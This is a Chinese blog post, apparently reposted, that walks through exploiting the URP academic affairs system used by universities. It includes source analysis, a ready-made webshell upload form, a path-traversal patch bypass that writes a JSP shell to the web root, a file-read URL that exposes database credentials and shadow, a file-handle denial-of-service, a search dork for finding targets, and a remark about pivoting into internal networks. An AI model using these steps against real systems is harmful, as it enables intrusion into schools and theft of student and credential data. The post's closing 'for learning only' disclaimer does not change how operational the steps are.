当前位置: 首页 > news >正文

urp教务系统简单利用

在学校上了这么长时间,由于对课表选课的不习惯,就逐渐产生了对教务系统简单的了解,希望可以以此学习

本次测试版本:

 

参考:https://www.secpulse.com/archives/26974.html

漏洞类型

文件上传导致任意代码执行

 

 

直接POST数据过去  对lwUpLoad_action.jsp这个页面

开始分析:

首先,这个系统使用了Smartupload组件,先来看下lwUpLoad_action的部分源码。

<script language="javaScript" type="">//转向function doAction(type){document.forms[0].action="uploadLwywAction.do?actionType=upload&returnStr="+type;//alert(document.forms[0].action);document.forms[0].submit();}</script>
</head>
<body>
<form  method="post" action="/uploadLwywAction" >
<%SmartUpload  mySmartUpload = new SmartUpload();mySmartUpload.initialize(pageContext);mySmartUpload.upload(); //int fileSize=mySmartUpload.getSize();File file=mySmartUpload.getFiles().getFile(0);Request req=mySmartUpload.getRequest();//扩展名String fileExt=file.getFileExt();String realPath=request.getRealPath("/lwUpLoadTemp");String fileName=req.getParameter("xh")+"."+fileExt;String filePath=realPath+"/"+fileName;if(!file.isMissing()){file.saveAs("/lwUpLoadTemp/"+fileName,mySmartUpload.SAVE_VIRTUAL);}String returnStr=TestBean.uploadLwyw(filePath,req);//根据返回值 判断操作if(returnStr.equals("yes")){%><input type="hidden" name="zxjxjhh" value="<%=req.getParameter("zxjxjhh") %>"><input type="hidden" name="tmbh" value="<%=req.getParameter("tmbh") %>"><input type="hidden" name="xh" value="<%=req.getParameter("xh") %>"><script type="text/javascript">doAction("yes")</script><%}else if(returnStr.equals("full")){%><script type="text/javascript">doAction("full")</script><%}else {%><script type="text/javascript">doAction("error")</script><%}%>

初步一看这个代码没啥问题吧,这个文件名使用学号命名的,也符合正常逻辑..继续看这个uploadlwyw.jsp的一部分代码,

function doUpload(){var chooseFile = null;var chooseFileType = null;//选择的文件类型var uploadlwyw = document.uploadLwywForm.theFile.value;var pos = uploadlwyw.lastIndexOf(".");var uploadlwywType = uploadlwyw.substring(pos + 1,uploadlwyw.length);//上传文件的类型if(uploadlwywType.toLowerCase()=="docx"){uploadlwywType = "doc";}//得到用户选择的文件类型for(var i=0;i<3;i++){if(document.uploadLwywForm.wjlx[i].checked){chooseFileType = document.uploadLwywForm.wjlx[i].value;if(chooseFileType == "doc"){chooseFile = "word";}if(chooseFileType == "pdf"){chooseFile = "pdf";}if(chooseFileType == "zip"){chooseFile = "latex";}}}//与上传的文件类型比较if(uploadlwywType.toLowerCase() != chooseFileType){alert("论文原文请上传" + chooseFile + "类型的文件!");return false;}if(document.uploadLwywForm.lwywwbb.value == "" && chooseFile == "word"){//版本判断alert("提交word类型的论文原文需添版本号!");document.uploadLwywForm.lwywwbb.focus();return false;}document.uploadLwywForm.action="lwUpLoad_action.jsp";document.uploadLwywForm.submit();}//改变上传文件类型function doChange(type){if(type != "word"){document.uploadLwywForm.lwywwbb.value ="";document.uploadLwywForm.lwywwbb.disabled = true;}else{document.uploadLwywForm.lwywwbb.disabled = false;}}

这你妹这么重要的上传用js写不是打脸吗.    ( js上传都写在后端,但是在这里就非常容易绕过前端js )

..在这里也没有限制上传类型,当然还得看后端的处理,别急,马上就来

看下UploadLwywAction  这是个java字节码,需要反编译成java源码  上传部分代码如下

String action = httpServletRequest.getParameter("actionType");if (action.equals("upload"))return upload(actionMapping, actionForm, httpServletRequest, httpServletResponse);public ActionForward upload(ActionMapping actionMapping, ActionForm actionForm, HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse){UploadLwywForm form;UploadLwywForm uploadLwywActionForm = (UploadLwywForm)actionForm;HttpSession session = httpServletRequest.getSession(false);UserInforVO userInfor = (UserInforVO)session.getAttribute("userInfor");form = (UploadLwywForm)actionForm;if (isSuccess.equals("yes")){String zxjxjhh = form.getZxjxjhh();String tmbh = form.getTmbh();String xh = form.getXh();LwLwxxbId lwLwxxbId = new LwLwxxbId(new LwXtb(new LwXtbId(new LwTmxxb(new LwTmxxbId(zxjxjhh, tmbh)), xh)));LwLwxxbLogic lwLwxxbLogic = new LwLwxxbLogic();LwLwxxb lwLwxxb = lwLwxxbLogic.getLwxxb(lwLwxxbId);}

后端也没有处理   那就是没有限制了

这样这不是个任意文件上传吗...自己写个表单就好了...

<form action="http://x.x.x.x/lwUpLoad_action.jsp" method="post" enctype="multipart/form-data" ><input type="file" name="theFile" id="File"/><input type="text" name="xh" id="context"/><input type="submit" value="show me the shell" ></form>

下面属于脱裤脚翘:

首先用这个表单上传一个shell

ssh反代会用,反代配全局继续内网渗透


参考:http://www.hackpanda.com/archives/212

漏洞类型

URP教务系统拒绝服务

 

 

新补丁更新了几个filter,还有web根目录下的fileError.jsp存在这个文件的urp就存在这个拒绝服务,不存在这个文件的大部分可以getshell

Properties prop = new Properties();java.io.InputStream in = getClass().getResourceAsStream("/uploadfileFomat.properties");try{prop.load(in);}catch (IOException e1){System.out.println("获取允许文件类型出错");e1.printStackTrace();}String fomat = prop.getProperty("uploadfileFomat");

读取properties后没有关闭文件句柄

通过burp多次访问后

然后主站整个404并且必须重启resin才能恢复通过lsof可以看到java的文件句柄已经达到800+

 

 


参考:http://www.hackpanda.com/archives/212

漏洞类型

补丁绕过&&继续无需登录GETSHELL

升级的时候又把picFile那个过滤漏了

直接看下代码吧,主要还是在第一法getshell那里分析的多

String fileExt=file.getFileExt();String realPath=request.getRealPath("/lwUpLoadTemp");String fileName=req.getParameter("xh")+"."+fileExt;String filePath=realPath+"/"+fileName;if(!file.isMissing()){file.saveAs("/lwUpLoadTemp/"+fileName,mySmartUpload.SAVE_VIRTUAL); //fileName}String returnStr=TestBean.uploadLwyw(filePath,req);

上段代码中fileName是doPost过来的,在这里没有过滤跨目录符号 ../ 所以还是用之前的表单即可完成上传 也就是

code 区域

file.saveAs("/lwUpLoadTemp/../sss.jsp")

这样绕开了补丁限制,在根目录生成一个shell


参考:http://www.hackpanda.com/archives/212

漏洞类型

轻易读取数据库连接信息

漏洞实际是不需要登录的,而且可以轻易读取数据库连接信息,还有shadow,这就是这个漏洞的真正危害所在。

public void service(HttpServletRequest req, HttpServletResponse res){BufferedReader br;PrintWriter pw;br = null;pw = null;res.setContentType("text/html;charset=GBK");pw = res.getWriter();String filename = req.getParameter("file"); //直接取得filebr = new BufferedReader(new InputStreamReader(getClass().getResourceAsStream(filename), "GBK"));String s;while ((s = br.readLine()) != null)pw.print(s + "\n");Exception e;

构造http://x.x.x.x/servlet/com.runqian.base.util.ReadJavaScriptServlet?file=../../../../../../../../conf/resin.conf

特征为 intitle:urp综合教务系统-登录

shadow

 

以上就是对urp系统的利用,转自panda博客,

以上仅供学习参考,严禁触犯法律法规 

http://www.lryc.cn/news/570463.html

相关文章:

  • Ecovadis认证意义是什么?什么是Ecovadis认证?
  • 奇偶排序(Odd-Even Sort)
  • 如何给Fedora 15添加磁盘(或盘片)
  • wireshark使用抓包详细图文教程
  • 学习何凯明在图像中的降噪技术和识别率问题
  • 项目文章 ▏组蛋白乳酸化驱动的B7-H3表达促进肿瘤免疫逃避
  • 快准牌电脑发软件_做自媒体视频剪辑、加字幕、文字音频互转,什么软件免费又好用?...
  • AI 神经网略小白学习笔记(一) -- 环境搭建
  • 第11章 结构 笔记
  • MyBatis+Spring整合示例程序
  • 技术突破与落地应用:端到端 2.0 时代辅助驾驶TOP10 论文深度拆解系列【第四篇(排名不分先后)】
  • 2024年【全套】Android零基础入门教程(知识精讲+强化实战(1),今日头条android面试
  • 工厂模式Factory Pattern
  • 英一真题阅读单词笔记 12年
  • 创始人IP如何崛起:系统化打造的实践路径 | 创客匠人
  • qq群关系数据库 mysql_QQ群关系数据库
  • Arduino 随身听
  • 1. 2019年《斯坦福大学CS330多任务和元学习》第1讲:简介与概述【中文字幕】
  • 《史蒂夫·乔布斯传》(Steve Jobs)官方正式中文版高清PDF
  • 华为OD-2024年E卷-英文输入法[100分] -- python
  • 班级html网页设计实例,静态网页班级网站设计.doc
  • PMP成本管理时,合同成本的计算和注意事项
  • Python实现人机五子棋
  • 计算机操作系统 第四章练习
  • Vue-Leaflet地图组件开发(四)高级功能与深度优化探索
  • 几个软件的静默安装方法(1)
  • 不定期搬运二次元福利
  • 电脑怎么进行磁盘碎片整理?
  • 汇川IS620N伺服驱动器如何通过etherCAT主站转profinet网关与西门子1200plc通讯
  • Linux之kernel(20)kdump支持